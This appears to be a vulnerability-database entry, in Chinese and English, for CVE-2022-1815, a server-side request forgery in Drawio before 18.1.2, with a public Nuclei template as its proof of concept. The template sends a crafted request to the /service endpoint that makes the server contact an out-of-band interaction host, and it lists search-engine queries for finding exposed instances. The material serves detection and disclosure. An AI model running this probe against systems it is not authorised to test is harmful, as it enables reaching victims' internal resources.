CVE-2022-1815: Drawio <18.1.2 - Server-Side Request Forgery

日期: 2025-08-01 | 影响软件: Drawio | POC: 已公开

漏洞描述

Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

PoC代码[已公开]

id: CVE-2022-1815

info:
  name: Drawio <18.1.2 - Server-Side Request Forgery
  author: amit-jd
  severity: high
  description: |
    Drawio before 18.1.2 is susceptible to server-side request forgery via the /service endpoint in jgraph/drawio.  An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.
  remediation: |
    Upgrade Drawio to version 18.1.2 or later to mitigate the SSRF vulnerability.
  reference:
    - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f/
    - https://huntr.dev/bounties/6e856a25-9117-47c6-9375-52f78876902f
    - https://github.com/jgraph/drawio/commit/c287bef9101d024b1fd59d55ecd530f25000f9d8
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1815
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-1815
    cwe-id: CWE-918,CWE-200
    epss-score: 0.19906
    epss-percentile: 0.95249
    cpe: cpe:2.3:a:diagrams:drawio:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: diagrams
    product: drawio
    shodan-query: http.title:"flowchart maker"
    fofa-query: title="flowchart maker"
    google-query: intitle:"flowchart maker"
  tags: cve,cve2022,huntr,drawio,ssrf,oast,oss,jgraph,diagrams,vuln

http:
  - raw:
      - |
        GET /service/0/test.oast.me HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains(body, 'Interactsh Server')"
          - status_code == 200
        condition: and
# digest: 490a0046304402200b9e22ba90fcdabf48a1d344ab5210c176312f432d5099fb6cc72567a738c27902205b08f8f82f58ef06cfd6c768bb33fe81af911779f460db2af7479634032b794d:922c64590222798bb761d5b6d8e72950

相关漏洞推荐